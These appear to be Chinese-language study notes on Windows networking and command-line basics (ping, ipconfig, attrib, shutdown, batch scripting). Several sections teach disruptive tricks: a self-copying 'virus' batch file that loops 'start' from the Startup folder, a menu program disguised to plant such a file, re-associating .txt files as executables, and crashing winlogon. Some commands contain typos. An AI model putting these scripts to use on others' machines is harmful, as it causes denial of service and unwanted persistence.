手工解析域名：nslookup 域名
Ping命令
一般默认4个包
Ping ip
Ping -n加数字加ip （发送几个包）
Ping -t ip 一直ping
Ping -l 数字 ip 修改了包的大小
Ipconfig查看ip基本信息
Ipconfig/all 查看ip详细信息
Dos
attrib 可以对文件的属性进行修改
attrib +h 可以隐藏文件夹
attrib -h 取消隐藏
+s 是把文件夹提升为受保护系统级别的
+a 只读属性
assoc 修改关联性
assoc.txt=exefile
将txt全部关联为exe可执行程序
改回来：assoc.txt=txtfile
fsutil file creatnew c:\windows\system.ini 409600000
含义 ：快速生成一个占据409600000字节的空文件
shutdown -s -t 100 (100秒后关机)
取消计时 shutdown -a
shutdown -r-t 100 (100秒后重启)
有时候命令不好使加上-f 是强制的意思
shutdown -s -f -t 100 (100秒后强制关机)
shutdown -s -t 100 -c"你已经被攻击"
作用:在关机时显示一个消息
shutdown -l 立即注销
批处理
从上向下执行命令，会全部执行完
批处理文件扩展名 .bat
pause 暂停 （在批处理中才有意义）
echo. （空一行）（在批处理中才有意义）
@echo off 关闭回显（屏蔽执行过程，放在开头）
color 0a 第一个为背景颜色，第二个为前景颜色
title 内容 （显示你想要写的文字）
：定义一个命令区间
比如
：1
：2
：3
。。。。。
goto 跳转
在1最后加 goto3，跳过命令区间二，直接执行三
start 后面什么不写打开cmd
% % (两个百分号表示取值的意思)
userprofile 是变量，不同用户登录系统，变量值不同
---------------------------------
有多个特殊符号的路径用双引号括起来
创建一个程序，程序名为qq.bat
一个简单的病毒程序
copy qq.bat "%userprofile%\[开始] 菜单\程序\启动"
：d
start
goto d
-----------------------------------
@echo off
title 韩哥小程序v1.0
color 0a
:menu
cls
echo======================
echo 菜单
echo 1.定时关机
echo 2.取消定时关机
echo 3.退出
echo ======================
set /p num=您的选择:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 您的输入错误，请重新输入！
pause
goto menu
:1
set /p a=请输入时间（单位/s): /* /p的意思是a的值来源于冒号后面的用户的输入*/
shutdown -s -f -t %a%
goto menu
:2
shutdown -a
goto menu
:3
exit
goto menu
-----------------------------------------------
:2
echo :a>>"%userprofile%\[开始] 菜单\程序\启动\haha.bat"
echo start >>"%userprofile%\[开始] 菜单\程序\启动\haha.bat"
echo goto a >>"%userprofile%\[开始] 菜单\程序\启动\haha.bat"
goto menu
可以将一个程序伪装为一个木马程序，当按下2时会在启动栏创建一个病毒程序。
-----------------------------------------------
建立新文件或增加文件内容
格式：ECHO 文件内容＞文件名
ECHO 文件内容＞＞文件名
例如：C:>ECHO @ECHO OFF>AUTOEXEC.BAT建立自动批处理文件
C:>ECHO C:\CPAV\BOOTSAFE>>AUTOEXEC.BAT向自动批处理文件中追加内容
--------------------------------------------------
windows2003 特有
nstd -c q -pn 强制杀进程
nstd -c q -pn winlogon.eve (会蓝屏)
因为winlogon.exe 是windows登录进程，但此时你已经登录进去了
---------------------------------------------------
taskkill /im explorer.exe /f (杀死一个桌面)
---------------------------------------------------